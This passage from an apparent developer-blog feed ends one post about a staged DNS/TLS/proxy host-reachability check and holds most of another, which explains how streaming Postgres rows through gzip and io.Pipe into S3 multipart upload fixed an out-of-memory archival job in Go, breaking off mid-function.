&lt;p&gt;The trick that makes stage 2 work is dialing with a &lt;strong&gt;permissive&lt;/strong&gt; &lt;code&gt;MinVersion&lt;/code&gt; (TLS 1.0). We want to see what the server &lt;em&gt;can&lt;/em&gt; do, then enforce our floor ourselves — otherwise the handshake fails the version check before we get to see what was actually negotiated, and "version too old" becomes indistinguishable from "didn't answer."&lt;/p&gt;

&lt;p&gt;Distinguishing a TLS alert from a network error needs a little care: timeouts are network, &lt;code&gt;tls.AlertError&lt;/code&gt; is a server-sent alert, anything else carrying a &lt;code&gt;tls:&lt;/code&gt; marker (record-header mismatch, plaintext where TLS was expected, protocol-version errors) is a TLS-layer rejection.&lt;/p&gt;

&lt;h3&gt;
  
  
  Stage 3 — residential proxy as a tiebreaker
&lt;/h3&gt;

&lt;p&gt;Only the inconclusive case reaches here. The question we're answering is &lt;em&gt;"is the origin actually dead, or is it just dead **for our datacenter IP&lt;/em&gt;&lt;em&gt;?"&lt;/em&gt; — and the only way to answer it is to ask from a non-datacenter vantage point.&lt;/p&gt;

&lt;p&gt;We send a single GET through the residential proxy with a generous budget (~20s — a residential hop is much slower than a local dial, and a tight budget would itself produce false negatives). Reachability semantics, not success semantics: any HTTP response — 200, 301, 403, even 404 — proves the origin is up and answering, so it passes the gate. The gate fails only when the request never reaches a responding origin: a transport error, or a proxy-upstream 5xx (502/503/504, the way our proxy signals it couldn't reach the upstream).&lt;/p&gt;

&lt;p&gt;One retry with a small randomized backoff absorbs transient edge failures at the proxy without ballooning cost. If the proxy is unconfigured or its URL is malformed, the gate refuses to declare a host dead on the strength of our own broken config — it returns "cannot confirm" and lets the host through.&lt;/p&gt;




&lt;h2&gt;
  
  
  The flow
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;                                ┌─────────────────────────────┐
                                │     ResolveHost(host)       │
                                └──────────────┬──────────────┘
                                               │
                                               ▼
                            ┌──────────────────────────────────┐
                            │   Stage 1: DNS                   │
                            │   LookupHost(host)               │
                            └──────────────┬───────────────────┘
                                           │
                       ┌───────────────────┴────────────────────┐
                       │                                        │
                       ▼ ok                                     ▼ error
              (continue to stage 2)                ┌────────────────────────┐
                       │                           │  Walk CNAME chain      │
                       │                           │  hop-by-hop, max 5     │
                       │                           │  - dedupe via visited  │
                       │                           │  - retry LookupHost    │
                       │                           │    at each hop         │
                       │                           └────────────┬───────────┘
                       │                                        │
                       │              ┌─────────────────────────┴──────────────┐
                       │              │ any hop resolves    chain dead / loop  │
                       │              ▼                     ▼                  │
                       │      (continue to stage 2)   FAIL (real NXDOMAIN /    │
                       │                              chain exhausted)         │
                       │                                                       │
                       ▼                                                       │
            ┌──────────────────────────────────────────┐                       │
            │ Stage 2: TLS probe                       │                       │
            │   tls.Dial host:443                      │                       │
            │   MinVersion = TLS 1.0 (permissive)      │                       │
            │   classify the outcome                   │                       │
            └─────────────┬────────────────────────────┘                       │
                          │                                                    │
       ┌──────────────────┼─────────────────────────┐                          │
       ▼ usable           ▼ rejected                ▼ inconclusive             │
  handshake ok,     TLS alert, or                 bare net error               │
  negotiated ≥ 1.2  negotiated &amp;lt; 1.2              (timeout/refused/reset)      │
       │                  │                            │                       │
       ▼                  ▼                            ▼                       │
     PASS              FAIL (fast,             ┌─────────────────────────┐     │
                       don't touch proxy)      │ Stage 3: proxy probe    │     │
                                               │   GET https://host/     │     │
                                               │   via residential proxy │     │
                                               │   retry once + jitter   │     │
                                               └─────────────┬───────────┘     │
                                                             │                 │
                                              ┌──────────────┴───────────┐     │
                                              ▼ origin answered          ▼     │
                                              (any HTTP status)     transport  │
                                              PASS                  err / 5xx  │
                                                                     FAIL      │
                                                                               │
                                                                               │
                          ◄────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  What we learned along the way
&lt;/h2&gt;

&lt;p&gt;A few generalisable things fell out of building this.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A reachability gate has to model where it's running from.&lt;/strong&gt; A check that's perfectly accurate from a laptop is wrong half the time from a datacenter. The vantage point is part of the system.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Failure has more states than success does.&lt;/strong&gt; "Dead" is at least three different things — DNS doesn't resolve, TLS won't handshake, network won't connect — and conflating them means you can't act on them differently. The three-way TLS outcome was the single biggest fix in this whole thing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Order checks by cost, and let cheap checks short-circuit expensive ones.&lt;/strong&gt; Stage 1 catches most dead hosts. Stage 2 catches version-incompatible hosts before we burn proxy budget. Stage 3 only runs when the first two genuinely couldn't tell.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Trust your own outputs more than the resolver's outputs.&lt;/strong&gt; Walking the CNAME chain by hand felt like working around the standard library, but the standard library is doing one thing (give the caller an IP) and we needed another (tell the caller whether the host exists at all). They're not the same question.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Configuration failures must not look like host failures.&lt;/strong&gt; A missing proxy URL is our problem, not the host's. The gate has to fail open on its own broken config — otherwise a config regression silently nukes thousands of perfectly good URLs.&lt;/p&gt;

&lt;p&gt;If you're building anything that touches the long tail of the public web from a datacenter, your "is this host alive" check is probably hiding two or three of these leaks. It's worth a look.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>How a 500 MB Buffer Killed Our Archival Job — And Why Streaming Fixed It</title>
      <dc:creator>Harish</dc:creator>
      <pubDate>Thu, 28 May 2026 13:23:43 +0000</pubDate>
      <link>https://dev.to/harishteens/how-a-500-mb-buffer-killed-our-archival-job-and-why-streaming-fixed-it-4iek</link>
      <guid>https://dev.to/harishteens/how-a-500-mb-buffer-killed-our-archival-job-and-why-streaming-fixed-it-4iek</guid>
      <description>&lt;h2&gt;
  
  
  The job that kept dying
&lt;/h2&gt;

&lt;p&gt;We run a nightly archival job that exports a few large Postgres tables to S3 as gzipped JSONL. On paper it's a humble piece of glue: read rows, serialize, compress, upload. In practice, it was getting OOM-killed by Kubernetes most nights on the larger tenants.&lt;/p&gt;

&lt;p&gt;The pod's memory limit was 1 GiB. The biggest table being archived had ~466K rows. At peak we measured the Go heap pushing past 700 MB before the kernel reaped us.&lt;/p&gt;

&lt;p&gt;That ratio — 466K small rows producing hundreds of megabytes of heap — was the smell. None of those rows is large. Something in the pipeline was hoarding all of them at once.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the original code looked like
&lt;/h2&gt;

&lt;p&gt;Roughly, the archival path was this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GetFetchQueueForArchive&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;domainID&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c"&gt;// []Row, materialized&lt;/span&gt;

&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="n"&gt;buf&lt;/span&gt; &lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt;
&lt;span class="n"&gt;gz&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;gzip&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NewWriter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="k"&gt;range&lt;/span&gt; &lt;span class="n"&gt;rows&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Marshal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;gz&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;gz&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Write&lt;/span&gt;&lt;span class="p"&gt;([]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;gz&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="n"&gt;s3&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;PutObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;s3&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;PutObjectInput&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;Bucket&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;bucket&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;Key&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;    &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;Body&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;   &lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NewReader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Bytes&lt;/span&gt;&lt;span class="p"&gt;()),&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Read that with a memory profiler in your head and the bug is obvious:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;GetFetchQueueForArchive&lt;/code&gt; is a SQLC &lt;code&gt;:many&lt;/code&gt; query. It loops over &lt;code&gt;rows.Next()&lt;/code&gt; internally, scans every row into a struct, and appends to a slice. The whole result set lands in the heap before the function returns. For 466K rows of ~1 KB each, that's about &lt;strong&gt;500 MB&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Then we compress into &lt;code&gt;bytes.Buffer&lt;/code&gt; — another &lt;strong&gt;~100 MB&lt;/strong&gt; of gzipped bytes, in memory.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;s3.PutObject&lt;/code&gt; requires either a &lt;code&gt;Content-Length&lt;/code&gt; header or a seekable body. We satisfy that by handing it the fully-buffered bytes. So the whole compressed payload has to coexist in RAM with the source slice until at least the slice goes out of scope.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Peak heap ≈ rows slice + gzip buffer ≈ &lt;strong&gt;~600 MB&lt;/strong&gt;. Add the rest of the process (DB driver, AWS SDK, goroutine stacks) and we cross the 1 GiB ceiling. The pod dies. K8s restarts it. It dies again on the same table.&lt;/p&gt;

&lt;p&gt;The crucial observation: &lt;strong&gt;memory usage scales linearly with table size&lt;/strong&gt;, even though we never need more than one row at a time to do the work. That's a design bug, not a tuning problem. No amount of bumping the memory limit fixes it — the next tenant with twice the rows blows past whatever ceiling you pick.&lt;/p&gt;

&lt;h2&gt;
  
  
  The shape of the fix
&lt;/h2&gt;

&lt;p&gt;The goal: &lt;strong&gt;never hold more than one row's worth of data in Go memory&lt;/strong&gt;. The pipeline should look like a hose, not a tank. Bytes flow Postgres → JSON → gzip → S3 in a single producer/consumer pipeline, where each stage processes one small unit at a time and exerts backpressure on the previous stage.&lt;/p&gt;

&lt;p&gt;Concretely:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pgx.Rows (server-side cursor)
   ↓  rows.Next() → scan one row → ~1 KB
json.Marshal(row)
   ↓                              ~1 KB line
gzip.Writer                       ~32 KB internal compression window
   ↓
io.Pipe (synchronous, zero-buffer)
   ↓
s3manager.Uploader                 5 MB per multipart part
   ↓
S3 (multipart upload)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Peak memory: 1 row + 32 KB gzip window + 5 MB part buffer × upload concurrency ≈ &lt;strong&gt;~25 MB&lt;/strong&gt;, regardless of whether the table has 1K rows or 100M rows.&lt;/p&gt;

&lt;h2&gt;
  
  
  The four primitives that make this work
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. &lt;code&gt;pgx.Rows&lt;/code&gt; — a server-side cursor
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;pool.Query()&lt;/code&gt; returns a &lt;code&gt;Rows&lt;/code&gt; handle backed by a Postgres cursor. &lt;code&gt;rows.Next()&lt;/code&gt; pulls one row at a time across the wire; only the row currently being scanned lives in Go memory. This is fundamentally different from what SQLC's &lt;code&gt;:many&lt;/code&gt; generates, which loops and appends every row into a slice before returning. The streaming path bypasses SQLC and talks to the pool directly with the raw SQL string.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. &lt;code&gt;io.Pipe&lt;/code&gt; — a synchronous in-memory pipe
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="n"&gt;pr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pw&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;io&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Pipe&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;pr&lt;/code&gt; is a &lt;code&gt;Reader&lt;/code&gt;, &lt;code&gt;pw&lt;/code&gt; is a &lt;code&gt;Writer&lt;/code&gt;. Bytes written to &lt;code&gt;pw&lt;/code&gt; become readable from &lt;code&gt;pr&lt;/code&gt; — with &lt;strong&gt;no internal buffer&lt;/strong&gt;. It's a synchronization point, not a queue. &lt;code&gt;Write&lt;/code&gt; blocks until something reads &lt;code&gt;pr&lt;/code&gt;, and &lt;code&gt;Read&lt;/code&gt; blocks until something writes &lt;code&gt;pw&lt;/code&gt;. Producer and consumer rate-match each other naturally. If S3 upload stalls, our DB iteration stalls too, and memory stays flat.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. &lt;code&gt;compress/gzip.Writer&lt;/code&gt; — streaming compression
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;gzip.NewWriter(w io.Writer)&lt;/code&gt; returns a writer that compresses on the fly. As you &lt;code&gt;Write()&lt;/code&gt; to it, it buffers up to ~32 KB internally, then flushes compressed bytes to the underlying writer. You never have to hold the whole input or output in memory.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. &lt;code&gt;s3manager.Uploader&lt;/code&gt; — multipart upload from an &lt;code&gt;io.Reader&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;The naive &lt;code&gt;s3.PutObject(Body: io.Reader)&lt;/code&gt; is a trap: it needs a &lt;code&gt;Content-Length&lt;/code&gt; or seek support to compute the body size, neither of which a true stream provides. &lt;code&gt;s3manager.Uploader&lt;/code&gt; reads the body in 5 MB chunks (configurable), uploads each as a multipart "part", and stitches them together with &lt;code&gt;CompleteMultipartUpload&lt;/code&gt;. Memory bound: 5 MB × concurrency (default 5) ≈ ~25 MB, well below pod limits.&lt;/p&gt;

&lt;h2&gt;
  
  
  The producer/consumer pipeline
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;Archiver&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;streamJSONL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;ctx&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Context&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;s3Key&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;sqlText&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;args&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="n"&gt;any&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;scanFn&lt;/span&gt; &lt;span class="k"&gt;func&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rows&lt;/span&gt; &lt;span class="n"&gt;pgx&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Rows&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;any&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;error&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rowCount&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="kt"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;pr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pw&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;io&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Pipe&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="k"&gt;go&lt;/span&gt; &lt;span class="k"&gt;func&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c"&gt;// On exit, close pw with the producer's error (or nil) so the&lt;/span&gt;
        &lt;span class="c"&gt;// reader side learns the outcome.&lt;/span&gt;
        &lt;span class="k"&gt;defer&lt;/span&gt; &lt;span class="k"&gt;func&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;pw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CloseWithError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;pw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;}()&lt;/span&gt;

        &lt;span class="n"&gt;gz&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;gzip&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NewWriter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pw&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;defer&lt;/span&gt; &lt;span class="n"&gt;gz&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="c"&gt;// flushes gzip trailer BEFORE pipe closes&lt;/span&gt;

        &lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;qErr&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pool&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sqlText&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;qErr&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;qErr&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;defer&lt;/span&gt; &lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Next&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sErr&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;scanFn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;sErr&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sErr&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mErr&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Marshal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;mErr&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mErr&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;wErr&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;gz&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="n"&gt;wErr&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;wErr&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;wErr&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;gz&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Write&lt;/span&gt;&lt;span class="p"&gt;([]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt; &lt;span class="n"&gt;wErr&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;wErr&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="n"&gt;rowCount&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;rErr&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="n"&gt;rErr&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rErr&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}()&lt;/span&gt;

    &lt;span class="c"&gt;// Hand pr to s3manager. Blocks until the producer finishes AND all&lt;/span&gt;
    &lt;span class="c"&gt;// parts are uploaded.&lt;/span&gt;
